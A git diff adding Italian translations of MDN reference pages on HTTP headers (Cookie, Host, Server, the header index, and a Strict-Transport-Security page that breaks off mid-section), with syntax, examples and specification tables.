+<p><strong><code>Cookie</code></strong> è un'header di richiesta HTTP che contiene i <a href="/en-US/docs/Web/HTTP/Cookies"> cookie HTTP</a> memorizzati, precedentemente inviati dal server tramite l'header {{HTTPHeader("Set-Cookie")}}.</p>
+
+<p>L' header <code>Cookie</code> è opzionale e può essere omesso, per esempio, se le impostazioni di privacy del browser bloccano i cookie.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo header</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Cookie: &lt;cookie-list&gt;
+Cookie: name=value
+Cookie: name=value; name2=value2; name3=value3</pre>
+
+<dl>
+ <dt>&lt;cookie-list&gt;</dt>
+ <dd>Una lista di coppie chiave-valore nel formato <code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code>. Le coppie nella lista sono separate da un punto e virgola e uno spazio (<code>'; '</code>).</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Titolo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6265", "Cookie", "5.4")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="compatibilità_dei_browser">compatibilità dei browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cookie")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/it/web/http/headers/host/index.html b/files/it/web/http/headers/host/index.html
new file mode 100644
index 0000000000..c5edcffb7b
--- /dev/null
+++ b/files/it/web/http/headers/host/index.html
@@ -0,0 +1,77 @@
+---
+title: Host
+slug: Web/HTTP/Headers/Host
+tags:
+  - HTTP
+  - Host
+  - Italiano
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'header di richiesta <code><strong>Host</strong></code> nei messaggi HTTP specifica il nome di dominio del server (per l'hosting virtuale) e (opzionalmente) il numero di porta TPC su cui il server è in ascolto.</p>
+
+<p>Se non viene specificata nessuna porta, viene utilizzata quella di default del servizio richiesto (ad esempio "80" per HTTP).</p>
+
+<p>L'header <code>Host</code> deve essere inviato in tutte le richieste HTTP/1.1. Un codice di stato (status code) {{HTTPStatus("400")}} (Bad Request) verrà inviato in risposta a qualsiasi richiesta HTTP/1.1 che non dispone di un campo header <code>Host</code> o ne contiene più di uno.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo di header</th>
+   <td>{{Glossary("Header di richiesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nome header vietato")}}</th>
+   <td>Sì</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;porta&gt;
+</pre>
+
+<h2 id="Direttive">Direttive</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>il nome di dominio del server (per l'hosting virtuale).</dd>
+ <dt>&lt;porta&gt; {{optional_inline}}</dt>
+ <dd>il numero di porta TCP su cui il server è in ascolto.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Titolo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Host", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se vuoi contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta.</p>
+
+<p>{{Compat("http.headers.Host")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+</ul>
diff --git a/files/it/web/http/headers/index.html b/files/it/web/http/headers/index.html
new file mode 100644
index 0000000000..7d5b000ead
--- /dev/null
+++ b/files/it/web/http/headers/index.html
@@ -0,0 +1,368 @@
+---
+title: HTTP headers
+slug: Web/HTTP/Headers
+tags:
+  - HTTP
+  - Headers
+  - NeedsTranslation
+  - Networking
+  - Reference
+  - TopicStub
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p>
+
+<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p>
+
+<p>Headers can be grouped according to their contexts:</p>
+
+<ul>
+	<li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li>
+	<li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li>
+	<li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li>
+	<li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li>
+</ul>
+
+<p>Headers can also be grouped according to how proxies handle them:</p>
+
+<dl>
+	<dt><a id="e2e" name="e2e"></a>End-to-end headers</dt>
+	<dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd>
+	<dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt>
+	<dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd>
+</dl>
+
+<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p>
+
+<h2 id="Authentication">Authentication</h2>
+
+<dl>
+	<dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+	<dd>Defines the authentication method that should be used to gain access to a resource.</dd>
+	<dt>{{HTTPHeader("Authorization")}}</dt>
+	<dd>Contains the credentials to authenticate a user agent with a server.</dd>
+	<dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+	<dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd>
+	<dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+	<dd>Contains the credentials to authenticate a user agent with a proxy server.</dd>
+</dl>
+
+<h2 id="Caching">Caching</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Age")}}</dt>
+	<dd>The time in seconds the object has been in a proxy cache.</dd>
+	<dt>{{HTTPHeader("Cache-Control")}}</dt>
+	<dd>Specifies directives for caching mechanisms in both requests and responses.</dd>
+	<dt>{{HTTPHeader("Expires")}}</dt>
+	<dd>The date/time after which the response is considered stale.</dd>
+	<dt>{{HTTPHeader("Pragma")}}</dt>
+	<dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd>
+	<dt>{{HTTPHeader("Warning")}}</dt>
+	<dd>A general warning field containing information about possible problems.</dd>
+</dl>
+
+<h2 id="Client_hints">Client hints</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Accept-CH")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Content-DPR")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("DPR")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Downlink")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Save-Data")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Viewport-Width")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Width")}}</dt>
+	<dd>...</dd>
+</dl>
+
+<dl>
+	<dt>
+	<h2 id="Conditionals">Conditionals</h2>
+	</dt>
+	<dt>{{HTTPHeader("Last-Modified")}}</dt>
+	<dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd>
+	<dt>{{HTTPHeader("ETag")}}</dt>
+	<dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd>
+	<dt>{{HTTPHeader("If-Match")}}</dt>
+	<dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd>
+	<dt>{{HTTPHeader("If-None-Match")}}</dt>
+	<dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd>
+	<dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+	<dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd>
+	<dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+	<dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd>
+</dl>
+
+<h2 id="Connection_management">Connection management</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Connection")}}</dt>
+	<dd>Controls whether the network connection stays open after the current transaction finishes.</dd>
+	<dt>{{HTTPHeader("Keep-Alive")}}</dt>
+	<dd>Controls how long a persistent connection should stay open.</dd>
+</dl>
+
+<h2 id="Content_negotiation">Content negotiation</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Accept")}}</dt>
+	<dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd>
+	<dt>{{HTTPHeader("Accept-Charset")}}</dt>
+	<dd>Informs the server about which character set the client is able to understand.</dd>
+	<dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+	<dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd>
+	<dt>{{HTTPHeader("Accept-Language")}}</dt>
+	<dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Controls">Controls</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Expect")}}</dt>
+	<dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd>
+	<dt>{{HTTPHeader("Max-Forwards")}}</dt>
+	<dd>...</dd>
+</dl>
+
+<h2 id="Cookies">Cookies</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Cookie")}}</dt>
+	<dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd>
+	<dt>{{HTTPHeader("Set-Cookie")}}</dt>
+	<dd>Send cookies from the server to the user agent.</dd>
+	<dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+	<dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd>
+	<dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+	<dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd>
+	<dt>
+	<h2 id="CORS">CORS</h2>
+	</dt>
+	<dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+	<dd>Indicates whether the response can be shared.</dd>
+	<dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+	<dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd>
+	<dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+	<dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd>
+	<dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+	<dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd>
+	<dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+	<dd>Indicates which headers can be exposed as part of the response by listing their names.</dd>
+	<dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+	<dd>Indicates how long the results of a preflight request can be cached.</dd>
+	<dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+	<dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd>
+	<dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+	<dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd>
+	<dt>{{HTTPHeader("Origin")}}</dt>
+	<dd>Indicates where a fetch originates from.</dd>
+</dl>
+
+<h2 id="Do_Not_Track">Do Not Track</h2>
+
+<dl>
+	<dt>{{HTTPHeader("DNT")}}</dt>
+	<dd>Used for expressing the user's tracking preference.</dd>
+	<dt>{{HTTPHeader("Tk")}}</dt>
+	<dd>Indicates the tracking status that applied to the corresponding request.</dd>
+</dl>
+
+<h2 id="Downloads">Downloads</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Content-Disposition")}}</dt>
+	<dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd>
+</dl>
+
+<h2 id="Message_body_information">Message body information</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Content-Length")}}</dt>
+	<dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd>
+	<dt>{{HTTPHeader("Content-Type")}}</dt>
+	<dd>Indicates the media type of the resource.</dd>
+	<dt>{{HTTPHeader("Content-Encoding")}}</dt>
+	<dd>Used to specify the compression algorithm.</dd>
+	<dt>{{HTTPHeader("Content-Language")}}</dt>
+	<dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd>
+	<dt>{{HTTPHeader("Content-Location")}}</dt>
+	<dd>Indicates an alternate location for the returned data.</dd>
+	<dt>
+	<h2 id="Proxies">Proxies</h2>
+	</dt>
+</dl>
+
+<dl>
+	<dt>{{HTTPHeader("Forwarded")}}</dt>
+	<dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd>
+	<dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+	<dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd>
+	<dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+	<dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd>
+	<dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+	<dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd>
+	<dt>{{HTTPHeader("Via")}}</dt>
+	<dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd>
+</dl>
+
+<h2 id="Redirects">Redirects</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Location")}}</dt>
+	<dd>Indicates the URL to redirect a page to.</dd>
+</dl>
+
+<h2 id="Request_context">Request context</h2>
+
+<dl>
+	<dt>{{HTTPHeader("From")}}</dt>
+	<dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd>
+	<dt>{{HTTPHeader("Host")}}</dt>
+	<dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd>
+	<dt>{{HTTPHeader("Referer")}}</dt>
+	<dd>The address of the previous web page from which a link to the currently requested page was followed.</dd>
+	<dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+	<dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd>
+	<dt>{{HTTPHeader("User-Agent")}}</dt>
+	<dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd>
+</dl>
+
+<h2 id="Response_context">Response context</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Allow")}}</dt>
+	<dd>Lists the set of HTTP request methods support by a resource.</dd>
+	<dt>{{HTTPHeader("Server")}}</dt>
+	<dd>Contains information about the software used by the origin server to handle the request.</dd>
+</dl>
+
+<h2 id="Range_requests">Range requests</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+	<dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd>
+	<dt>{{HTTPHeader("Range")}}</dt>
+	<dd>Indicates the part of a document that the server should return.</dd>
+	<dt>{{HTTPHeader("If-Range")}}</dt>
+	<dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd>
+	<dt>{{HTTPHeader("Content-Range")}}</dt>
+	<dd>Indicates where in a full body message a partial message belongs.</dd>
+</dl>
+
+<h2 id="Security">Security</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+	<dd>Controls resources the user agent is allowed to load for a given page.</dd>
+	<dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+	<dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd>
+	<dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+	<dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd>
+	<dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+	<dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd>
+</dl>
+
+<dl>
+	<dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+	<dd>Force communication using HTTPS instead of HTTP.</dd>
+	<dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+	<dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd>
+</dl>
+
+<dl>
+	<dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+	<dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd>
+</dl>
+
+<dl>
+	<dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+	<dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd>
+	<dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+	<dd>Enables cross-site scripting filtering.</dd>
+</dl>
+
+<h2 id="Server-sent_events">Server-sent events</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Ping-From")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Ping-To")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+	<dd>...</dd>
+</dl>
+
+<h2 id="Transfer_coding">Transfer coding</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+	<dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd>
+	<dt>{{HTTPHeader("TE")}}</dt>
+	<dd>Specifies the transfer encodings the user agent is willing to accept.</dd>
+	<dt>{{HTTPHeader("Trailer")}}</dt>
+	<dd>Allows the sender to include additional fields at the end of chunked message.</dd>
+</dl>
+
+<h2 id="WebSockets">WebSockets</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+	<dd>...</dd>
+</dl>
+
+<h2 id="Other">Other</h2>
+
+<dl>
+	<dt>{{HTTPHeader("Date")}}</dt>
+	<dd>Contains the date and time at which the message was originated.</dd>
+	<dt>{{HTTPHeader("Large-Allocation")}}</dt>
+	<dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd>
+	<dt>{{HTTPHeader("Link")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("Retry-After")}}</dt>
+	<dd>Indicates how long the user agent should wait before making a follow-up request.</dd>
+	<dt>{{HTTPHeader("SourceMap")}}</dt>
+	<dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd>
+	<dt>{{HTTPHeader("Upgrade")}}</dt>
+	<dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>.  The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection.  For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field.  Niether party is required to accept the terms specified in the Upgrade header field.  It can be used in both client and server headers.  If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified.  For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd>
+	<dt>{{HTTPHeader("Vary")}}</dt>
+	<dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd>
+	<dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+	<dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd>
+	<dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("X-Requested-With")}}</dt>
+	<dd>...</dd>
+	<dt>{{HTTPHeader("X-UA-Compatible")}}</dt>
+	<dd>...</dd>
+</dl>
+
+<h2 id="Contributing">Contributing</h2>
+
+<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li>
+	<li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li>
+</ul>
diff --git a/files/it/web/http/headers/server/index.html b/files/it/web/http/headers/server/index.html
new file mode 100644
index 0000000000..46e9030558
--- /dev/null
+++ b/files/it/web/http/headers/server/index.html
@@ -0,0 +1,70 @@
+---
+title: Server
+slug: Web/HTTP/Headers/Server
+tags:
+  - HTTP
+  - Riferimento
+  - header
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>L'header <code><strong>Server</strong></code> contiene informazioni sul software utilizzato dal server di origine per gestire la richiesta.</div>
+
+<p>Valori di Server troppo lunghi e dettagliati dovrebbero essere evitati, poiché potenzialmente rivelano dettagli interni di implementazione che potrebbero rendere (leggermente) più facile per degli hacker trovare e sfruttare falle di sicurezza note.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo header</th>
+   <td>{{Glossary("Header di risposta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Server: &lt;prodotto&gt;
+</pre>
+
+<h2 id="Direttive">Direttive</h2>
+
+<dl>
+ <dt>&lt;prodotto&gt;</dt>
+ <dd>Il nome del software o (sotto)prodotto che gestisce le richieste.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Titolo</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/it/web/http/headers/strict-transport-security/index.html b/files/it/web/http/headers/strict-transport-security/index.html
new file mode 100644
index 0000000000..cad174395e
--- /dev/null
+++ b/files/it/web/http/headers/strict-transport-security/index.html
@@ -0,0 +1,118 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Headers/Strict-Transport-Security
+tags:
+  - HSTS
+  - HTTP
+  - HTTPS
+  - Sicurezza
+  - header
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'header di risposta<strong> </strong>HTTP <strong><code>Strict-Transport-Security</code></strong>  (spesso abbreviato come {{Glossary("HSTS")}})  è una funzionalità di sicurezza che consente ad un sito web di comunicare ai browser che tutte le richieste devono essere effettuate usando HTTPS invece di HTTP.</p>
+
+<p>informare i browser a comunicare esclusivamente usando HTTPS, invece che HTTP.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Direttive">Direttive</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>Il tempo, in secondi, per il quale il browser deve ricordare che il sito è accessibile solamente utilizzando HTTPS.</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>Se questo parametro opzionale è specificato, la regola si applica anche a tutti i sotto domini.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>Consulta {{anch("Preloading Strict Transport Security")}} per i dettagli. Non è parte delle specifiche.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se un sito web accetta connessioni attraverso HTTP e reindirizza su HTTPS, l'utente potrebbe inizializzare la connessione non cifrata, prima di essere rediretto, ad esempio se digitasse http://www.foo.com/ o solamente foo.com.</p>
+
+<p>Questo sistema apre ad un potenziale attacco di tipo man-in-the-middle, dove la redirezione può essere sfruttata per indirizzare l'attaccante ad un sito malevolo invece che alla versione sicura della pagina originale.</p>
+
+<p>L'header HTTP Strict Transport Security consente ad un sito web di informare il browser che non dovrebbe mai caricare il sito utilizzando HTTP e dovrebbe automaticamente convertire i tentativi di accesso al sito tramite HTTP, in HTTPS.</p>
+
+<div class="note"><strong>Nota:</strong> L'header <code>Strict-Transport-Security</code> è ignorato dal browser quanto il sito viene caricato tramite HTTP; questo perchè un attaccante potrebbe intercettare la connessione HTTP e iniettare o modificare l'header. Quando il sito è caricato tramite HTTPS senza errori di certificato, il browser saprà che il sito è disponibile tramite HTTPS e rispetterà l'header <code>Strict-Transport-Security</code>.</div>
+
+<h3 id="Uno_scenario_desempio">Uno scenario d'esempio</h3>
+
